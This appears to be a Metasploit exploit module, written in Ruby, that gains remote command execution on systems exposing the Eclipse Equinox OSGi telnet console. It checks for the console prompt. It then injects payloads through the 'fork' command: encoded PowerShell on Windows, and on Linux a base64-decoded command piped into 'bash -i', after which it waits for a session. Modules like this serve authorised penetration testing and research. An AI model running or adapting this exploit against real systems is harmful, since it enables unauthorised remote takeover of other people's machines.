Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
require 'base64'
6

7
class MetasploitModule < Msf::Exploit::Remote
8
  Rank = NormalRanking
9

10
  include Msf::Exploit::Remote::Tcp
11
  include Msf::Exploit::CmdStager
12
  include Msf::Exploit::Powershell
13

14
  TELNET_IAC = Msf::Exploit::Remote::Telnet
15

16
  def initialize(info = {})
17
    super(update_info(info,
18
      'Name'           => 'Eclipse Equinox OSGi Console Command Execution',
19
      'Description'    => %q{
20
        Exploit Eclipse Equinox OSGi (Open Service Gateway initiative) console
21
        'fork' command to execute arbitrary commands on the remote system.
22
      },
23
      'Author'         =>
24
        [
25
          'Quentin Kaiser <[email protected]>'
26
        ],
27
      'License'        => MSF_LICENSE,
28
      'References'     =>
29
       [
30
         ['URL', 'https://www.eclipse.org/equinox/documents/quickstart-framework.php']
31
       ],
32
      'Platform' => %w{ linux win },
33
      'Arch' => [ARCH_ARMLE, ARCH_AARCH64, ARCH_X86, ARCH_X64],
34
      'Targets'=> [
35
        [ 'Linux (Bash Payload)', { 'Platform' => 'linux' } ],
36
        [ 'Windows (Powershell Payload)', { 'Platform' => 'win' } ]
37
       ],
38
      'CmdStagerFlavor' => [ 'bourne' ],
39
      'DisclosureDate'  => '2018-02-13',
40
      'DefaultTarget'   => 0))
41
    deregister_options('SRVHOST', 'SRVPORT', 'SSL', 'SSLCert', 'URIPATH')
42
    register_options([
43
      OptInt.new('TIME_WAIT', [ true, 'Time to wait for payload to be executed', 20])
44
    ])
45
  end
46

47
  def check
48
    connect
49
    res = sock.get_once
50
    if res == TELNET_IAC::IAC+TELNET_IAC::WILL+TELNET_IAC::OPT_ECHO+\
51
        TELNET_IAC::IAC+TELNET_IAC::WILL+TELNET_IAC::OPT_SGA+\
52
        TELNET_IAC::IAC+TELNET_IAC::DO+TELNET_IAC::OPT_NAWS+\
53
        TELNET_IAC::IAC+TELNET_IAC::DO+TELNET_IAC::OPT_TTYPE
54
      # terminal type 'xterm-256color' = \x78\x74\x65\x72\x6D\x2D\x32\x35\x36\x63\x6F\x6C\x6F\x72
55
      sock.put(TELNET_IAC::IAC+TELNET_IAC::SB+TELNET_IAC::OPT_TTYPE+\
56
        "\x00xterm-256color"+TELNET_IAC::IAC+TELNET_IAC::SE)
57
      res = sock.get_once
58
    end
59
    disconnect
60
    if res && res == "osgi> "
61
      return Exploit::CheckCode::Vulnerable
62
    end
63
    Exploit::CheckCode::Safe
64
  end
65

66
  def exploit
67
    begin
68
      print_status("Accessing the OSGi console ...")
69

70
      unless check == Exploit::CheckCode::Vulnerable
71
        fail_with(Failure::NoTarget, "#{peer} - Failed to access the OSGi console")
72
      end
73

74
      if target['Platform'] == "win" then
75
        exec_command("fork \"#{cmd_psh_payload(payload.encoded, payload_instance.arch.first, {encode_final_payload: true, remove_comspec: true})}\"")
76
      else
77
        execute_cmdstager({:flavor => :bourne})
78
      end
79

80
      print_status("#{rhost}:#{rport} - Waiting for session...")
81

82
      (datastore['TIME_WAIT']).times do
83
        Rex.sleep(1)
84
        # Success! session is here!
85
        break if session_created?
86
      end
87
    rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e
88
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{e.message}")
89
    ensure
90
      disconnect
91
    end
92
  end
93

94
  def exec_command(cmd)
95
      connect
96
      res = sock.get_once
97
      if res == TELNET_IAC::IAC+TELNET_IAC::WILL+TELNET_IAC::OPT_ECHO+\
98
        TELNET_IAC::IAC+TELNET_IAC::WILL+TELNET_IAC::OPT_SGA+\
99
        TELNET_IAC::IAC+TELNET_IAC::DO+TELNET_IAC::OPT_NAWS+\
100
        TELNET_IAC::IAC+TELNET_IAC::DO+TELNET_IAC::OPT_TTYPE
101
        sock.put(TELNET_IAC::IAC+TELNET_IAC::SB+TELNET_IAC::OPT_TTYPE+\
102
          "\x00xterm-256color"+TELNET_IAC::IAC+TELNET_IAC::SE)
103
        res = sock.get_once
104
      end
105
      print_status("Exploiting...")
106
      sock.put("#{cmd}\r\n")
107
      res = sock.get
108
      sock.put("disconnect\r\n")
109
      res = sock.get
110
      sock.put("y\r\n")
111
  end
112

113
  def execute_command(cmd, opts={})
114
    cmd_b64 = Base64.encode64(cmd).gsub(/\s+/, "")
115
    # Runtime.getRuntime().exec() workaround on Linux. Requires bash.
116
    exec_command("fork \"bash -c {echo,#{cmd_b64}}|{base64,-d}|{bash,-i}\"")
117
  end
118
end
119

120